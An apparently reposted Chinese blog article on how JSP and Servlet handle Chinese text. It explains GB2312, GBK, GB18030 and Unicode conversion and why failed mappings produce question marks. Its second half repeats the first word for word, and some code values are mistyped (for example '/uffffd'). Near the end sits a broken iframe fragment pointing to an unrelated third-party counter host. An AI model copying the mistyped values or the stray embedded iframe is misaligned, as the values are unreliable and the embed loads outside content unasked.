深入剖析JSP和Servlet对中文的处理

本文探讨了JSP和Servlet处理中文字符的技术细节,包括不同编码间的转换原理,特别是GB2312、GBK和Unicode编码间的转换。通过具体实例解释了在转码过程中出现特殊字符的原因。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

HTML Tags and JavaScript tutorial



深入剖析JSP和Servlet对中文的处理




世界上的各地区都有本地的语言。地区差异直接导致了语言环境的差异。在开发一个国际化程序的过程中,处理语言问题就显得很重要了。
  这是一个世界范围内都存在的问题,所以,
Java
提供了世界性的解决方法。本文描述的方法是用于处理中文的,但是,推而广之,对于处理世界上其它国家和地区的语言同样适用。
  汉字是双字节的。所谓双字节是指一个双字要占用两个
BYTE
的位置(即
16
位),分别称为高位和低位。中国规定的汉字编码为
GB2312
,这是强制性的,目前几乎所有的能处理中文的应用程序都支持
GB2312

GB2312
包括了一二级汉字和
9
区符号,高位从
0xa1

0xfe
,低位也是从
0xa1

0xfe
,其中,汉字的编码范围为
0xb
0a
1

0xf7fe

  另外有一种编码,叫做
GBK
,但这是一份规范,不是强制的。
GBK
提供了
20902
个汉字,它兼容
GB2312
,编码范围为
0x8140

0xfefe

GBK
中的所有字符都可以一一映射到
Unicode 2.0

  在不久的将来,中国会颁布另一种标准:
GB18030-2000

GBK2K
)。它收录了藏、蒙等少数民族的字型,从根本上解决了字位不足的问题。注意:它不再是定长的。其二字节部份与
GBK
兼容,四字节部分是扩充的字符、字形。它的首字节和第三字节从
0x81

0xfe
,二字节和第四字节从
0x30

0x39

  本文不打算介绍
Unicode
,有兴趣的可以浏览
“http://www.unicode.org/”
查看更多的信息。
Unicode
有一个特性:它包括了世界上所有的字符字形。所以,各个地区的语言都可以建立与
Unicode
的映射关系,而
Java
正是利用了这一点以达到异种语言之间的转换。
  在
JDK
中,与中文相关的编码有:
  表
 
JDK
中与中文相关的编码列表





编码名称



说明





ASCII



7位,与ascii7相同





ISO8859-1



8-位,与 8859_1,ISO-8859-1,ISO_8859-1,latin1...等相同





GB2312-80



16位,与gb2312,gb2312-1980,EUC_CN,euccn,1381,Cp1381, 1383, Cp1383, ISO2022CN,ISO2022CN_GB...等相同





GBK



与MS936相同,注意:区分大小写





UTF8



与UTF-8相同





GB18030



与cp1392、1392相同,目前支持的JDK很少



  在实际编程时,接触得比较多的是GB2312(GBK)和ISO8859-1。
  为什么会有“?”号
  上文说过,异种语言之间的转换是通过Unicode来完成的。假设有两种不同的语言A和B,转换的步骤为:先把A转化为Unicode,再把Unicode转化为B。
  举例说明。有GB2312中有一个汉字“李”,其编码为“C0EE”,欲转化为ISO8859-1编码。步骤为:先把“李”字转化为Unicode,得到“674E”,再把“674E”转化为ISO8859-1字符。当然,这个映射不会成功,因为ISO8859-1中根本就没有与“674E”对应的字符。
  当映射不成功时,问题就发生了!当从某语言向Unicode转化时,如果在某语言中没有该字符,得到的将是Unicode的代码“/uffffd”(“/u”表示是Unicode编码,)。而从Unicode向某语言转化时,如果某语言没有对应的字符,则得到的是“0x3f”(“?”)。这就是“?”的由来。
  例如:把字符流buf =“0x80 0x40 0xb0 0xa1”进行new String(buf, "gb2312")操作,得到的结果是“/ufffd/u554a”,再println出来,得到的结果将是“?啊”,因为“0x80 0x40”是GBK中的字符,在GB2312中没有。
  再如,把字符串String="/u00d6/u00ec/u00e9/u0046/u00bb/u00f9"进行new String (buf.getBytes("GBK"))操作,得到的结果是“3fa8aca8a6463fa8b4”,其中,“/u00d6”在“GBK”中没有对应的字符,得到“3f”,“/u00ec”对应着“a8ac”,“/u00e9”对应着“a8a6”,“0046”对应着“46”(因为这是ASCII字符),“/u00bb”没找到,得到“3f”,最后,“/u00f9”对应着“a8b4”。把这个字符串println一下,得到的结果是“?ìéF?ù”。看到没?这里并不全是问号,因为GBK与Unicode映射的内容中除了汉字外还有字符,本例就是最好的明证。
  所以,在汉字转码时,如果发生错乱,得到的不一定都是问号噢!不过,错了终究是错了,50步和100步并没有质的差别。
  或者会问:如果源字符集中有,而Unicode中没有,结果会如何?回答是不知道。因为我手头没有能做这个测试的源字符集。但有一点是肯定的,那就是源字符集不够规范。在Java中,如果发生这种情况,是会抛出异常的。
  在实际编程时,接触得比较多的是GB2312(GBK)和ISO8859-1。
  为什么会有“?”号
  上文说过,异种语言之间的转换是通过Unicode来完成的。假设有两种不同的语言A和B,转换的步骤为:先把A转化为Unicode,再把Unicode转化为B。
  举例说明。有GB2312中有一个汉字“李”,其编码为“C0EE”,欲转化为ISO8859-1编码。步骤为:先把“李”字转化为Unicode,得到“674E”,再把“674E”转化为ISO8859-1字符。当然,这个映射不会成功,因为ISO8859-1中根本就没有与“674E”对应的字符。
  当映射不成功时,问题就发生了!当从某语言向Unicode转化时,如果在某语言中没有该字符,得到的将是Unicode的代码“/uffffd”(“/u”表示是Unicode编码,)。而从Unicode向某语言转化时,如果某语言没有对应的字符,则得到的是“0x3f”(“?”)。这就是“?”的由来。
  例如:把字符流buf =“0x80 0x40 0xb0 0xa1”进行new String(buf, "gb2312")操作,得到的结果是“/ufffd/u554a”,再println出来,得到的结果将是“?啊”,因为“0x80 0x40”是GBK中的字符,在GB2312中没有。
  再如,把字符串String="/u00d6/u00ec/u00e9/u0046/u00bb/u00f9"进行new String (buf.getBytes("GBK"))操作,得到的结果是“3fa8aca8a6463fa8b4”,其中,“/u00d6”在“GBK”中没有对应的字符,得到“3f”,“/u00ec”对应着“a8ac”,“/u00e9”对应着“a8a6”,“0046”对应着“46”(因为这是ASCII字符),“/u00bb”没找到,得到“3f”,最后,“/u00f9”对应着“a8b4”。把这个字符串println一下,得到的结果是“?ìéF?ù”。看到没?这里并不全是问号,因为GBK与Unicode映射的内容中除了汉字外还有字符,本例就是最好的明证。
  所以,在汉字转码时,如果发生错乱,得到的不一定都是问号噢!不过,错了终究是错了,50步和100步并没有质的差别。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值